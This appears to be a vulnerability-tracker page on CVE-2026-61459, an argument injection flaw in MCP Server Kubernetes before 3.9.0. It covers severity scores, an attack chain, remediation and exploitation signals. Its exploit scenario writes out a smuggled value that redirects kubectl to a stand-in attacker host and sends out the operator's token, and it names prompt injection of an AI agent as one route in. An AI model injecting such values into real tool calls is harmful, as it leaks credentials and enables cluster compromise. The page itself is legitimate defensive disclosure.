Skip to main content

MCP Server Kubernetes CVE-2026-61459

| EUVDEUVD-2026-42987 CRITICAL
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-07-10 VulnCheck GHSA-wmg3-h8mf-wgvr
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach MCP tool interface
  2. Delivery
    Submit name/resourceType with leading dash
  3. Exploit
    Inject --server flag into kubectl
  4. Execution
    kubectl connects to attacker API server
  5. Persist
    Operator bearer token exfiltrated
  6. Impact
    Reuse token for full cluster compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires the attacker to supply the resourceType or name parameter to one of the vulnerable structured tools (kubectl_get, kubectl_describe, or kubectl_delete) in a version before 3.9.0, with the value crafted to begin with a leading dash so it is parsed by kubectl as the --server flag; the MCP server must be configured with usable Kubernetes credentials (bearer token/kubeconfig) that get attached to the redirected request. The per-CVSS PR:N/UI:N rating assumes the attacker can reach those tool inputs directly. Limiting factors: an attacker who cannot reach the MCP tool interface (network-isolated, authenticated agent front-end, or no indirect prompt-injection path) cannot trigger it; only these three structured tools are affected; and least-privilege RBAC on the server's credentials constrains what the exfiltrated token can do. Versions 3.9.0 and later are not affected.

Impact

The signals are largely consistent and point to genuine high priority. The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) indicates network-reachable, low-complexity exploitation with no privileges or user interaction and high confidentiality/integrity/availability impact, and publicly available exploit code raises real-world feasibility. The primary uncertainty is exposure model rather than technical severity: MCP servers are typically driven by an AI agent, so PR:N assumes the attacker can reach the tool inputs directly (e.g., an exposed/unauthenticated MCP endpoint or indirect prompt injection into the agent). EPSS is not provided and the CVE is not listed in CISA KEV, so there is no evidence of widespread automated exploitation despite the public POC - treat this as a strong patch-now item where the software is deployed, but note that real risk scales with how exposed the MCP server is. No conflicting data was identified; the description (token redirection) aligns with the high C/I/A rating.

Exploit ScenarioDerived

An attacker who can influence the MCP tool inputs - for example via a prompt-injection payload the AI agent relays, or a directly exposed MCP endpoint - calls kubectl_get with a name or resourceType of --server=https://attacker.example. The vulnerable server passes this to kubectl, which sends the request (and the operator's bearer token) to the attacker's rogue API server; publicly available exploit code demonstrates the technique. With the captured token the attacker authenticates back to the real cluster and pivots to full compromise.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 10, 2026

Argument injection in Flux159 MCP Server Kubernetes before 3.9.0 lets remote attackers redirect kubectl operations to an attacker-controlled API server by smuggling a leading-dash --server flag through the resourceType and name parameters of the kubectl_get, kubectl_describe, and kubectl_delete structured tools. Because the injected values bypass the assertNoDangerousFlags check, the operator's bearer token is transmitted to the external server, enabling full Kubernetes cluster compromise. Reported by VulnCheck, it carries CVSS 4.0 9.3, has publicly available exploit code, and a vendor patch in release 3.9.0; there is no confirmed active exploitation.

RemediationAI

Vendor-released patch: upgrade MCP Server Kubernetes to version 3.9.0 or later (https://github.com/Flux159/mcp-server-kubernetes/releases/tag/3.9.0), which corresponds to PR #329 and commit d7890f50a4567bf5d9842541ba6f41e180227f9a that hardens the argument handling. Until upgrading, restrict who can invoke the MCP server so its tools are not reachable by untrusted callers or exposed to indirect prompt injection, and treat the tool inputs as untrusted - reject any resourceType or name value beginning with a dash before it reaches kubectl. As a defense-in-depth control, scope the kubeconfig/service-account credentials the server uses to least privilege (namespace-limited RBAC) so a redirected token yields minimal cluster access, and where feasible pin the kubectl --server/context server-side so it cannot be overridden; the trade-off is reduced flexibility for legitimate multi-cluster use. Follow the VulnCheck advisory (https://www.vulncheck.com/advisories/mcp-server-kubernetes-argument-injection-via-kubectl-structured-tools) for confirmation.

Affected VersionsENISA

mcp-server-kubernetes 0 <3.9.0

Affected Packages

npm mcp-server-kubernetes fix: 3.9.0
pypi mcp-server-kubernetes fix: 3.9.0
euvd mcp_server_kubernetes fix: 3.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component (cpe:2.3:a:flux159:mcp-server-kubernetes) is a Model Context Protocol (MCP) server that exposes Kubernetes management to AI agents by wrapping the kubectl CLI in 'structured tools.' To prevent abuse, it applies an assertNoDangerousFlags allow/deny check on tool arguments before shelling out to kubectl. The root cause is CWE-88 (Argument Injection / Improper Neutralization of Argument Delimiters): the resourceType and name parameters are passed through to the kubectl command line without validating that they do not themselves begin with a dash, so a value like --server=https://attacker is interpreted by kubectl as a command-line option rather than a resource identifier. kubectl's --server flag overrides the target API endpoint, and because the tool still attaches the operator's credentials, the bearer token is sent to whatever endpoint the attacker names.

Know when Mcp Server Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Network-reachable tool inputs with no privileges or interaction (PR:N/UI:N per vendor vector); stolen operator token yields high C/I/A over the cluster; scope kept unchanged to align with the 4.0 SC:N mapping.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

MCP Server Kubernetes before 3.9.0 contains an argument injection vulnerability in structured tools (kubectl_get, kubectl_describe, kubectl_delete) that allows attackers to bypass the assertNoDangerousFlags security check by supplying resourceType and name parameters with leading dashes. Attackers can inject the --server flag to redirect kubectl commands to an attacker-controlled API server, causing the operator's bearer token to be transmitted externally and enabling full cluster compromise.

Executive ViewAI

Why It Matters

Flux159 MCP Server Kubernetes before version 3.9.0 contains an argument injection vulnerability that enables remote attackers to redirect kubectl operations to attacker-controlled servers, exposing operator credentials and resulting in full Kubernetes cluster compromise. Organizations running this product face immediate risk of complete infrastructure takeover through readily available exploit code.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Low
niche open-source MCP server for AI-driven Kubernetes, emerging adoption
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
9 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL Exploit-DB GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy